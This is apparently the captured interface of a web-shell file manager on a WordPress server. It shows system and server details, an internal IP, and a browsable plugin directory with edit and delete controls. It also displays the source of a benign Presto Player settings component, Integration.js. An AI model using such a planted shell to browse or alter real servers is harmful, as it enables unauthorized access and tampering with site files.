[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
admin
/
settings
/
components
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 CTA.js
600 B
SET
[ EDIT ]
|
[ DEL ]
📄 CheckboxControl.js
539 B
SET
[ EDIT ]
|
[ DEL ]
📄 ColorPicker.js
730 B
SET
[ EDIT ]
|
[ DEL ]
📄 ComboboxControl.js
612 B
SET
[ EDIT ]
|
[ DEL ]
📄 CustomCSS.js
1,213 B
SET
[ EDIT ]
|
[ DEL ]
📄 Disabled.js
861 B
SET
[ EDIT ]
|
[ DEL ]
📄 Fields.js
1,321 B
SET
[ EDIT ]
|
[ DEL ]
📄 Group.js
2,021 B
SET
[ EDIT ]
|
[ DEL ]
📄 Groups.js
747 B
SET
[ EDIT ]
|
[ DEL ]
📄 Integration.js
3,088 B
SET
[ EDIT ]
|
[ DEL ]
📄 Loading.js
253 B
SET
[ EDIT ]
|
[ DEL ]
📄 Media.js
1,903 B
SET
[ EDIT ]
|
[ DEL ]
📄 Notices.js
552 B
SET
[ EDIT ]
|
[ DEL ]
📄 NullView.js
47 B
SET
[ EDIT ]
|
[ DEL ]
📄 Page.js
428 B
SET
[ EDIT ]
|
[ DEL ]
📄 SaveButton.js
1,309 B
SET
[ EDIT ]
|
[ DEL ]
📄 SelectControl.js
623 B
SET
[ EDIT ]
|
[ DEL ]
📄 TextControl.js
775 B
SET
[ EDIT ]
|
[ DEL ]
📄 ToggleControl.js
1,802 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: Integration.js
import { __ } from "@wordpress/i18n"; const { Button, Panel, PanelBody, Flex, Modal, FlexBlock, FlexItem, PanelRow, } = wp.components; const { useState } = wp.element; export default ({ connected, title, children, onConnect, isBusy, connectButtonText, disconnectButtonText, onDisconnect, }) => { const [confirm, setConfirm] = useState(false); return ( <Panel> <PanelBody title={ <Flex> <FlexBlock>{title}</FlexBlock> <FlexItem> {connected ? ( <Button isSmall isPrimary style={{ marginRight: "30px" }}> {__("Connected", "presto-player")} </Button> ) : ( <Button isSmall isSecondary style={{ marginRight: "30px" }}> {__("Not Connected", "presto-player")} </Button> )} </FlexItem> </Flex> } initialOpen={false} > <form onSubmit={(e) => { e.preventDefault(); onConnect(); }} disabled={isBusy} > {children} <PanelRow> <div> {!connected ? ( <Button isPrimary isBusy={isBusy} disabled={isBusy} type="submit" > {connectButtonText ? connectButtonText : __("Connect", "presto-player")} </Button> ) : ( <div> {" "} <Button isSecondary isBusy={isBusy} disabled={isBusy} onClick={(e) => { e.preventDefault(); setConfirm(true); }} > {disconnectButtonText ? disconnectButtonText : __("Disconnect", "presto-player")} </Button> </div> )} </div> </PanelRow> </form> </PanelBody> {confirm && ( <Modal className="presto-player__modal-confirm" title={__("Are you sure?", "presto-player")} style={{ "max-width": "350px" }} onRequestClose={() => setConfirm(false)} > <p> {__( "Are you sure you want to disconnect this integration?", "presto-player" )} </p> <Button className="presto-player__modal-confirm-button" isDestructive onClick={() => { onDisconnect && onDisconnect(); setConfirm(false); }} > {__("Disconnect", "presto-player")} </Button> <Button onClick={() => setConfirm(false)}> {__("Cancel", "presto-player")} </Button> </Modal> )} </Panel> ); };